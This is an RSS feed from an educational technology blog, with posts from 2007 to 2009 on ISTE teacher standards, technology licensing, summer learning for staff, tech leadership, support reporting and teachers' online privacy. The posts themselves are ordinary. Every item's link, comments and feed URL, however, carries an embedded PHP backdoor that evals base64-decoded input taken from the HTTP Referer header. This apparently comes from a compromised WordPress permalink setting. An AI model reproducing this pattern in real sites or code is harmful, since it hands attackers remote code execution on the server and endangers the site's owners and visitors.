<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>EdTech Avenue &#187; teachers</title>
	<atom:link href="http://edtechavenue.com/category/teachers/feed/" rel="self" type="application/rss+xml" />
	<link>http://edtechavenue.com</link>
	<description>your avenue for discussing educational technology</description>
	<lastBuildDate>Mon, 25 Jan 2010 16:01:40 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Differentiating NETS*T: Moving Teachers Toward Transformative Technology</title>
		<link>http://edtechavenue.com/2009/07/01/differentiating-netst-moving-teachers-toward-transformative-technology/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://edtechavenue.com/2009/07/01/differentiating-netst-moving-teachers-toward-transformative-technology/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 01 Jul 2009 12:36:19 +0000</pubDate>
		<dc:creator>Jill</dc:creator>
				<category><![CDATA[edtech]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[k-12]]></category>
		<category><![CDATA[necc2009]]></category>
		<category><![CDATA[standards]]></category>
		<category><![CDATA[teachers]]></category>
		<category><![CDATA[technology]]></category>

		<guid isPermaLink="false">http://edtechavenue.com/?p=322</guid>
		<description><![CDATA[Presenters are using a student response system first to poll the audience.  This is engaging the audience and keeping attention focused while also transfering content information.  Hmmm&#8230; what we should be doing in our classrooms?  Yes!!  Resources and more information at http://conferenceconnection2009.edublogs.org/.
These are NETS (standards) for Teachers.  Refer to the ISTE website for more information. [...]]]></description>
			<content:encoded><![CDATA[<p>Presenters are using a student response system first to poll the audience.  This is engaging the audience and keeping attention focused while also transfering content information.  Hmmm&#8230; what we should be doing in our classrooms?  Yes!!  Resources and more information at http://conferenceconnection2009.edublogs.org/.</p>
<p>These are NETS (standards) for Teachers.  Refer to the <a href="http://www.iste.org/Content/NavigationMenu/NETS/ForTeachers/NETS_for_Teachers.htm">ISTE website</a> for more information.  These standards are broken into 4 stages in the rubric scale: Beginning &gt; Developing &gt; Proficient &gt; Transformative.</p>
<p>Standard 1: Facilitate and Inspire Student Learning and Creativity; Performance Indicator A: promote, support and model creative and innovative thinking and inventiveness.  In this example, a teacher is at this beginning level of this standard and show us a tool that will move them to the developing level.</p>
<blockquote><p>Showing Blabberize &#8211; where you can take a photo of the person or animal (or anything), set where the mouth is, and make it &#8220;talk&#8221; with your voice!</p></blockquote>
<p>Standard 2: Design and Develop Digital-Age Learning Experiences and Assessments; Performance Indicator C: customize and personalize learning activities to address students&#8217; diverse learning styles, working strategies, and abilities using digital tools and resources.  Teacher at the developing stage can move to the Proficient stage (facilitate learning, use specific strategies).</p>
<blockquote><p>Showing their blog at edublogs.org, tour of WordPress blog.</p></blockquote>
<p>Standard 4: Promote and Model Digital Citizenship and Responsibility; Performance Indicator B: address the diverse needs of all learners by using learner-centered strategies providing equitable access to appropriate digital tools and resources.</p>
<blockquote><p>Showing the free tool &#8220;voki&#8221; (available from their website above).  Chose a character (or import a picture) and background, give it a voice by text-to-voice, record using a microphone, call in, or upload an mp3.  Kids can communicate what they know very quickly and easily.</p></blockquote>
<p>Standard 3: Model Digital-Age Work and Learning; Performance Indicator A: demonstrate fluency in technology systems and the transfer of current knowledge to new technologies and situations.  Teacher moving from beginning to developing stage (plan, manage and facilitate).</p>
<blockquote><p>Showing Wikispaces for Educators.</p></blockquote>
<p><em>The are going WAY too fast.</em></p>
<p>Standard 5: Engage in Professional Growth and Leadership; Performance Indicator D: contribute to the effectiveness, vitality, and self-renewal of the teaching profession and of their school and community.  Teacher can move from developing stage to proficient (actively contribute, sharing promising practices).</p>
<blockquote><p>Showing Elluminate.  One online virtual classroom, discussion board, whiteboard, document sharing, audio/video, and more.  Free for up to three people at a time.  We can extend our community and our learning.</p></blockquote>
<p>Back to Standard 3: Model Digital-Age Work and Learning; Performance Indicator B: collaborate with students, peers, parents, and community members using digital tools and resources to support student success and innovation.</p>
<p>Move from beginning stage&#8230;  Edublogs are good for beginning stage.  Add Blabberize to that, making it interactive, and you are moving to the developing stage.  Add to that the voki element, allowing for even more customization and creativity moves to the proficient stage.  Blabberize is not as interactive &#8211; voki allows for comments on the element while Blabberize has to be embedded in a comment-friendly place.  Move to transformative by putting that all into an Elluminate classroom with kids collaborating together across time and space, even just showing one classroom&#8217;s work to another.</p>
<p>They are talking now about the &#8220;Awareness Scale.&#8221;  I&#8217;m not sure from this if it&#8217;s something that is available through ISTE on the rubric scale or if it&#8217;s something they&#8217;ve come up with.  It is being described as where to start with teachers who are not yet in the &#8220;active&#8221; phase of the standards put forth by ISTE.  These are discussions that should be happening with teachers who are not yet even to the beginning stages of integrating technology in a meaningful way.  There is a good slide in their preso that shows this scale as it compares to the NETS scale.  The presenter is willing to answer questions via email, available on the link above.</p>
]]></content:encoded>
			<wfw:commentRss>http://edtechavenue.com/2009/07/01/differentiating-netst-moving-teachers-toward-transformative-technology/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Board of Teaching &#8211; License Changes</title>
		<link>http://edtechavenue.com/2009/01/07/board-of-teaching-license-changes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://edtechavenue.com/2009/01/07/board-of-teaching-license-changes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 07 Jan 2009 17:52:07 +0000</pubDate>
		<dc:creator>m.white</dc:creator>
				<category><![CDATA[teachers]]></category>
		<category><![CDATA[license]]></category>

		<guid isPermaLink="false">http://edtechavenue.com/?p=126</guid>
		<description><![CDATA[Here is the Word document from the MN Dept of Ed website regarding the technology license.
Board of Teaching &#8211; Tech License revisions (download)
]]></description>
			<content:encoded><![CDATA[<p>Here is the Word document from the MN Dept of Ed website regarding the technology license.</p>
<p><a href="http://www.education.state.mn.us/mdeprod/idcplg?IdcService=GET_FILE&amp;dDocName=034968&amp;RevisionSelectionMethod=latest&amp;Rendition=primary">Board of Teaching &#8211; Tech License revisions</a> (download)</p>
]]></content:encoded>
			<wfw:commentRss>http://edtechavenue.com/2009/01/07/board-of-teaching-license-changes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A Teacher&#8217;s Summer &#8220;Reading List&#8221;</title>
		<link>http://edtechavenue.com/2007/05/29/a-teachers-summer-reading-list/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://edtechavenue.com/2007/05/29/a-teachers-summer-reading-list/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 29 May 2007 15:38:46 +0000</pubDate>
		<dc:creator>Jill</dc:creator>
				<category><![CDATA[creativity]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[k-12]]></category>
		<category><![CDATA[planning]]></category>
		<category><![CDATA[productivity]]></category>
		<category><![CDATA[resource]]></category>
		<category><![CDATA[teachers]]></category>
		<category><![CDATA[technology]]></category>

		<guid isPermaLink="false">http://edtechavenue.com/2007/05/29/a-teachers-summer-reading-list/</guid>
		<description><![CDATA[I am sending the following in an email to our teachers this week.  I want to encourage them to not take off their thinking caps for the entire summer, just as they send out a summer reading list for students with the same intent.  My hope is that they return in the fall [...]]]></description>
			<content:encoded><![CDATA[<p>I am sending the following in an email to our teachers this week.  I want to encourage them to not take off their thinking caps for the entire summer, just as they send out a summer reading list for students with the same intent.  My hope is that they return in the fall with some fresh ideas for integrating technology as a means for creative assessment and that they use the time they have in the summer to really delve in and explore some of today&#8217;s great technologies and idea-sharing media.</p>
<ul>
<li><font size="2" face="Arial"><span class="776085616-11052007">Find one educational  blogger whose posts you consider valid and relevant to your teaching.   Read on average at least 1 post a week, and be prepared to share what you have  found during workshop week in the fall.</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Go to <a href="http://teachertube.com">TeacherTube.com</a>  and find one video you could either use in one of your classes or replicate as a  student project.</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Come up with one  multimedia project you could use to enhance your curriculum in some way.  This  project could involve digital photos, music, movie clips, slides, clay  animation, drawings, podcasts&#8230;</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007"><span class="776085616-11052007">Come up with </span>one project in your class where you  could use a blog with students.  You post something and have them respond, give  comments, reactions, reflections&#8230;</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Look into the  following educational technology trends and buzz-words and prepare to talk about  them and how they might impact not only your teaching but the learning of our  students:</span></font>
<ul>
<li><font size="2" face="Arial"><span class="776085616-11052007">Wiki</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Blog</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Podcast, <font size="2" face="Arial"><span class="776085616-11052007">Webcast</span></font></span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Ning</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Web 2.0,  </span></font><font size="2" face="Arial"><span class="776085616-11052007">School  2.0</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">RSS,  </span></font><font size="2" face="Arial"><span class="776085616-11052007">Aggregator,  </span></font><font size="2" face="Arial"><span class="776085616-11052007">Feed</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Streaming</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Skype</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Twitter,  </span></font><font size="2" face="Arial"><span class="776085616-11052007">Meebo</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Chat,  </span></font><font size="2" face="Arial"><span class="776085616-11052007">Instant  Message</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Del.icio.us</span></font></li>
</ul>
</li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Complete the  following regarding technology:</span></font>
<ul>
<li><font size="2" face="Arial"><span class="776085616-11052007">The one thing I wish  I had in my classroom is __________.</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">One activity I wish I  could do with my students is __________.</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Technology would be  easier to use in my classes if __________.</span></font></li>
</ul>
</li>
</ul>
<p>I may be setting myself up for disappointment here, but I don&#8217;t think so.  I believe that the incredible staff with whom I work will come through.  If just one or two teachers come back with a great idea, that energy will spark a flame that I can feed throughout the year!</p>
]]></content:encoded>
			<wfw:commentRss>http://edtechavenue.com/2007/05/29/a-teachers-summer-reading-list/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Anyone Going to &#8216;Kids on the Edge&#8217;?</title>
		<link>http://edtechavenue.com/2007/05/23/anyone-going-to-kids-on-the-edge/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://edtechavenue.com/2007/05/23/anyone-going-to-kids-on-the-edge/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 23 May 2007 18:56:06 +0000</pubDate>
		<dc:creator>Jill</dc:creator>
				<category><![CDATA[conference]]></category>
		<category><![CDATA[edtech]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[elementary]]></category>
		<category><![CDATA[internet safety]]></category>
		<category><![CDATA[planning]]></category>
		<category><![CDATA[teachers]]></category>
		<category><![CDATA[technology]]></category>

		<guid isPermaLink="false">http://edtechavenue.com/2007/05/23/anyone-going-to-kids-on-the-edge/</guid>
		<description><![CDATA[A program is being offered for elementary schools to examine the &#8220;Perils and Potential of Media and Technology in Catholic Education&#8221; by NCEA, Boston College and the U.S. Conference of Bishops.  It sounds like an interesting program but overlaps with NECC so I can&#8217;t get there (I would LOVE to &#8211; loved Boston last [...]]]></description>
			<content:encoded><![CDATA[<p>A program is being offered for elementary schools to examine the <a title="NCEA Event Information" href="http://www.ncea.org/events/event.asp?EVENT_ID=75&#038;">&#8220;Perils and Potential of Media and Technology in Catholic Education&#8221;</a> by NCEA, Boston College and the U.S. Conference of Bishops.  It sounds like an interesting program but overlaps with NECC so I can&#8217;t get there (I would LOVE to &#8211; loved Boston last time I was there).</p>
<p>If you are planning to go, would you be willing to share your experiences here on EdTech Avenue?  The conference is from June 21-23, 2007, in Boston, MA.</p>
]]></content:encoded>
			<wfw:commentRss>http://edtechavenue.com/2007/05/23/anyone-going-to-kids-on-the-edge/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Effective EdTech Leaders</title>
		<link>http://edtechavenue.com/2007/05/18/effective-edtech-leaders/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://edtechavenue.com/2007/05/18/effective-edtech-leaders/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 18 May 2007 18:42:37 +0000</pubDate>
		<dc:creator>Jill</dc:creator>
				<category><![CDATA[edtech]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[support]]></category>
		<category><![CDATA[teachers]]></category>
		<category><![CDATA[technology]]></category>

		<guid isPermaLink="false">http://edtechavenue.com/blog/2007/05/18/effective-edtech-leaders/</guid>
		<description><![CDATA[I was prompted by my reading today of Wesley Fryer&#8217;s Needed leadership qualities post. I am still catching up on some archives, and while many articles have been bookmarked for viewing and reflecting later, this one spoke to me immediately, especially after having read Scott Mcleod&#8217;s What makes administrators effective technology leaders? post from last [...]]]></description>
			<content:encoded><![CDATA[<p>I was prompted by my reading today of Wesley Fryer&#8217;s <a title="Moving at the Speed of Creativity, Wesley Fryer" href="http://www.speedofcreativity.org/2007/05/07/needed-leadership-qualities/">Needed leadership qualities</a> post. I am still catching up on some archives, and while many articles have been bookmarked for viewing and reflecting later, this one spoke to me immediately, especially after having read Scott Mcleod&#8217;s <a title="Dangerously Irrelevant, Scott Mcleod" href="http://feeds.feedburner.com/~r/dangerouslyirrelevant/~3/115505984/what_makes_admi.html" target="_blank">What makes administrators effective technology leaders?</a> post from last week. I am always looking for ideas about how to become a better leader in my field, and these articles were definitely food for thought.</p>
<p>I think the biggest question is where the leadership is coming from.Â  It&#8217;s fairly evident that it must come from more than one person to really implement systemic change.Â  While I am the main driving force behind integration implementations and strategies at my school, I would not be nearly as effective without the support I get from my principal and veteran teachers.Â  Meeting resistance from them would make my job miserable.Â  I think there are probably many different leadership models that work, depending on the personalities of the people in those situations.Â  We in smaller K-8 schools have a wide range of responsibilities, job descriptions and authority, so what works for me might not work for someone in the next school.</p>
<p>My process is working so far, and as I&#8217;ve mentioned in previous posts, I was taken off-line slightly last year and we lost some momentum.Â  Before that I was making great progress with a combination of group training and individual help (that was after I realized I couldn&#8217;t start everyone at the same level; a similar situation wasÂ <a title="Do I Dare Disturb the Universe?" href="http://blog.scottjelias.net/2007/04/strong_opinions.html" target="_blank">described hereÂ by Scott Elias</a>).Â  I tried to find where teachers could first replace an existing task with one that uses technology, and they responded well and took off on their own adding enhancements to the lessons.Â  I also implemented electronic grading software, making them &#8220;have to&#8221; use technology for their own organization.Â  Amazingly, the teachers who were most resistant are the ones who can&#8217;t live without it today!Â  This year we&#8217;ve started to make up some ground, and I have a handful of teachers who are eager to plan projects for next year.Â  Many teachers still use technology because they have to, but slowly and steadily the number is growing of teachers who WANT to use it and see the value in creative assessment and student ownership of a technology-produced project.Â  Having this new network of ideas and shared situations in the edublogosphere has really helped to re-energize me in regards to being an integration guide for our teachers.</p>
<p>Please share your strategies, what works and what doesn&#8217;t, and maybe we can all gain a new perspective as we look to planning for the 2007-08 school year!Â  Are you a part of the hiring process and/or evaluation process for teachers?Â  Are you the main decision-maker for technology purchases?Â  Do your teachers respond to group classes and/orÂ individual training?Â  How do you handle resistant teachers and/or administrators in your school?</p>
]]></content:encoded>
			<wfw:commentRss>http://edtechavenue.com/2007/05/18/effective-edtech-leaders/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Technical Support Reporting Methods</title>
		<link>http://edtechavenue.com/2007/04/25/technical-support-reporting-methods/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://edtechavenue.com/2007/04/25/technical-support-reporting-methods/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 25 Apr 2007 18:07:12 +0000</pubDate>
		<dc:creator>Jill</dc:creator>
				<category><![CDATA[email]]></category>
		<category><![CDATA[instant messaging]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[support]]></category>
		<category><![CDATA[teachers]]></category>

		<guid isPermaLink="false">http://edtechavenue.com/blog/2007/04/25/technical-support-reporting-methods/</guid>
		<description><![CDATA[At Blessed Trinity, I&#8217;ve given teachers and staff numerous methods for reporting issues, including the recent implementation of Windows Messenger and the Windows XP Remote Assistance application.Â  It was a huge surprise to me that teachers did not quickly embrace these instant-help options.Â  Teachers currently use email, phone or in-person methods to report problems with [...]]]></description>
			<content:encoded><![CDATA[<p>At Blessed Trinity, I&#8217;ve given teachers and staff numerous methods for reporting issues, including the recent implementation of Windows Messenger and the Windows XP Remote Assistance application.Â  It was a huge surprise to me that teachers did not quickly embrace these instant-help options.Â  Teachers currently use email, phone or in-person methods to report problems with their computers or the labs.Â  I suppose they are not using their computers as often as I, but the thought that I could immediately see that someone is there and can answer my question without having to send email or make a phone call (or worse yet climb three flights of stairs) would be preferable to me personally.</p>
<p>And with all of these avenues available to them, some problems stillÂ don&#8217;t get reported to me.Â  For example:Â Â We are at two campus locations.Â  I spend most of my time at the campus where the servers and majority of the computersÂ are.Â  I have asked the teachers at the other campus many times that when something comes up in the computer lab there to record the error in the log I have provided AND email me about it so I know it&#8217;s there.Â  I don&#8217;t check that log regularly &#8211; it is not a reporting method, simply a log for my reference.Â  And yet I will hear later, sometimes weeks after the initial problem arose, that something needs to be fixed.Â  I try to explain that if they don&#8217;t email me (whether or not they&#8217;ve recorded anything in the log), I won&#8217;t know about it.Â  Unfortunately things have not changed in the four years I&#8217;ve been using the logs, so do I need to change something in my methods?Â  I want to find the best way to service my users.Â  They become frustrated when I don&#8217;t address issues quickly enough but will not follow the methods I&#8217;ve given them to get the best response.</p>
<p>What is the best reporting method for your school?Â  Why does it work for you?</p>
]]></content:encoded>
			<wfw:commentRss>http://edtechavenue.com/2007/04/25/technical-support-reporting-methods/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Teacher Photos on School Website?</title>
		<link>http://edtechavenue.com/2007/03/06/teacher-photos-on-school-website/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://edtechavenue.com/2007/03/06/teacher-photos-on-school-website/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 07 Mar 2007 05:22:34 +0000</pubDate>
		<dc:creator>Jill</dc:creator>
				<category><![CDATA[education]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[internet safety]]></category>
		<category><![CDATA[k-12]]></category>
		<category><![CDATA[teachers]]></category>
		<category><![CDATA[technology]]></category>

		<guid isPermaLink="false">http://edtechavenue.com/blog/2007/03/06/teacher-photos-on-school-website/</guid>
		<description><![CDATA[I recently made a suggestion that we publish our teachers&#8217; school photos, which are conveniently provided to us on CD from LifeTouch, with the staff directory page of our website.Â  I had mixed reviews from our staff after designing the page with photos.Â  Most teachers liked the page but made no mention of the general [...]]]></description>
			<content:encoded><![CDATA[<p>I recently made a suggestion that we publish our teachers&#8217; school photos, which are conveniently provided to us on CD from LifeTouch, with the staff directory page of our website.Â  I had mixed reviews from our staff after designing the page with photos.Â  Most teachers liked the page but made no mention of the general idea.Â  Others, those who are a bit more techno-savvy, objected to the idea.Â  Their reasoning was that if pictures are made readily available on the internet, we subject ourselves to possible mis-use of the photos on such sites as MySpace and other personal web spaces.Â  While I am not naive enough to think that our students would not think to do such a thing, it saddens me that the majority of people visiting our siteÂ willÂ lose out onÂ the personal touch the photos present.Â  I alsoÂ would have likedÂ the idea that for marketing and recruiting purposes, prospective families would be able to put a face with all the paperwork and other information they receive about our school.</p>
<p>For now, we do not publish photos on our web site, for the protection of our students and teachers.Â  What do you do on your school website?</p>
]]></content:encoded>
			<wfw:commentRss>http://edtechavenue.com/2007/03/06/teacher-photos-on-school-website/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Risks for Teachers Writing Personal Blogs</title>
		<link>http://edtechavenue.com/2007/03/03/risks-for-teachers-writing-personal-blogs/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://edtechavenue.com/2007/03/03/risks-for-teachers-writing-personal-blogs/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 03 Mar 2007 17:11:25 +0000</pubDate>
		<dc:creator>Jill</dc:creator>
				<category><![CDATA[internet safety]]></category>
		<category><![CDATA[teachers]]></category>

		<guid isPermaLink="false">http://edtechavenue.com/blog/2007/03/04/risks-for-teachers-writing-personal-blogs/</guid>
		<description><![CDATA[I have recently considered creating a personal blog space.Â  I would love to have a place where I can post photos and daily news of goings-on with my husband and myself.Â  I do have a Flickr space with photos, but even while creating that last month I had to think twice about putting anything personal [...]]]></description>
			<content:encoded><![CDATA[<p>I have recently considered creating a personal blog space.Â  I would love to have a place where I can post photos and daily news of goings-on with my husband and myself.Â  I do have a Flickr space with photos, but even while creating that last month I had to think twice about putting anything personal out there for the world to see.Â  I would like to share with family and friends things that are going on in my life&#8230; but I don&#8217;t necessarily want to share these things with my students.Â  This is a unique career we find ourselves in &#8211; my husband and his friends don&#8217;t have to worry about who might see their blog or want to &#8220;use it against them&#8221;.Â  But teachers do not have this same luxury.Â  I can only imagine the damage a scorned student could do to a teacher&#8217;s career &#8211; we&#8217;ve seen it on some news stories already.Â  But how much of this is paranoia and how much is warranted caution?</p>
<p>I know I could create a MySpace account (it&#8217;s not just for kids, you know) and protect it so that readers would have to register, but I don&#8217;t want my mom to have to get an account in order to read about me.Â  Is that unreasonable?Â  And I&#8217;m not sure I&#8217;d want to lock it so much that only family and friends can read it &#8211; I might want input from other adults, and students could create false accounts&#8230;</p>
<p>Is there any way to get general information out there in blog-type format while keeping it safe from my students?Â  I&#8217;m fairly new to this blogging thing, so any input is welcome.Â  I did find some possible solutions on WordPress using plug-ins, so I&#8217;ll have to give that a try.</p>
]]></content:encoded>
			<wfw:commentRss>http://edtechavenue.com/2007/03/03/risks-for-teachers-writing-personal-blogs/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
